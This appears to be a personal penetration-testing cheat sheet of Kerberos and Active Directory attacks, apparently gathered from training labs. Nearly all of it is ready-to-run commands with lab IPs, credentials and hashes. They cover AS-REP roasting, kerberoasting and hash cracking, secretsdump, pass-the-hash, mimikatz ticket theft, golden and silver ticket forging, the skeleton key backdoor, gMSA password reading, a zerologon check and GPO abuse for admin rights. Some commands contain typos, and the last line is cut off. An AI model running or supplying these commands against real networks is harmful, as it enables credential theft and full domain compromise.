Kerberos (88) / Active Directory (AD)
Last updated
Last updated
/
ldapsearch -x -h $IP -s base # to get the naming context
ldapsearch -x -h "192.168.141.122" -b "DC=hutch,DC=offsec" # using naming context found above
The command below checks for accounts that do not need pre-authentication. Crack them with hashcat.
impacket-GetNPUsers THM-AD/ -usersfile valid_users.txt -dc-ip 10.10.199.242 -format hashcat -outputfile npusers2.hashcat
hashcat -m 18200 -a 0 npusers.hashcat passwordlist.txt
./kerbrute userenum --dc $IP -d $NetbiosDomainName ~/THM/kerbrute-room/users.lst
impacket-secretsdump -just-dc THM-AD/backup:backup2517860@10.10.113.122
evil-winrm -i 10.10.199.242 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
rubeus.exe harvest /interval:30 (harvest for TGTs every 30 seconds)
Rubeus.exe brute /password:Password1 /noticket
Rubeus.exe kerberoast
now that you have some hashes save those into a text file and crack them with hashcat.
hashcat -m 13100 -a 0 hash.txt Pass.txt
sudo python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.77.32 -request
rubeus.exe asreproast
When adding the hashes to a text file remember to add 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User...
hashcat -m 18200 hash.txt pass.txt
run mimikatz.exe
run privilege:debug ensure this outputs '20' OK
sekurlsa::tickets /export
Look for a .kirbi file for an account you may already have access such as the 'Adminitrator' account.
Run kerberso:ptt $ticketFile to impersonate the given ticket
Exit mimikatz and run klist to confirm you are using the cached ticket
You should now have Domain Admin rights
Golden ticket means that you are able to generate a TGT for any service you want.
Full domain compromise (domain admin) required
Silver ticket means that you are taking a specific service's TGT and can impersonate it.
Service hash required
Skeleton Key
Full domain compromised (domain admin) required
Run mimikatz
privilege::debug to confirm access
lsadump::lsa /inject /name:krbtgt to dump hashes and other identifiers needed to create a golden ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.
You will need to know the user's User ID for the next mimikatz command. You can find this by running the command below (look at the last 3-4 digits).
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtg t:72cd714611b64cd4d5550cd2759db3f6 /id:500 This is the command for creating a golden ticket; to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.
misc::cmd this will open a new elevated command prompt with the given ticket in mimikatz. You now have the permissions depending on golden ticket or silver ticket used.
lsadump::lsa /patch
Crack with hashcat -a 0 -O -m 1000 $hash /usr/share/wordlists/rockyou.txt
misc::skeleton
net use c:\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
dir \Desktop-1\c$ /user:Machine1 mimikatz
Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.
These service accounts are given automatically-generated passwords. Given certain permissions, it is possible to retrieve these password hashes from Active Directory. To see what users or groups have permissions to do that for a given service account, we can look up the PrincipalsAllowedToRetrieveManagedPassword user property on the account.
Get-ADServiceAccount -Identity $serviceAcc -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword
If we have access to an account that is in the same group as the service account then we should be able to extract the password hash of the service account.
Looks like we have the ReadGMSAPassword privilege on the svc_apache account.
We have the service account password hash and can use this for pass the hash logins (evil-winrm needs the $ sign at the end when logging in with hash).
This will break Active Directory so only use it to check if the exploit is possible
python3 zerologon.py -do check -target ATTACKTIVEDIRECT -ip $IP
If our user has access to the GpoEditDeleteModifySecurity permission then we can give ourselves local administrator privileges. We can confirm this by running Get-NetGPO and running the name GUID string through Get-GPPermission -Guid 31B2F340-016D-11D2-945F-00C04FB984F9 -TargetType User -TargetName anirudh
./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force updates Group Policies
net localgroup Administrators verify we are now in the Administrator group
python3 /usr/share/doc/python3-impacket/examples/psexec.py vault.offsec/anirudh:SecureHM@192.168.120.116 to get SYSTEM access
We can retrieve the password hash with .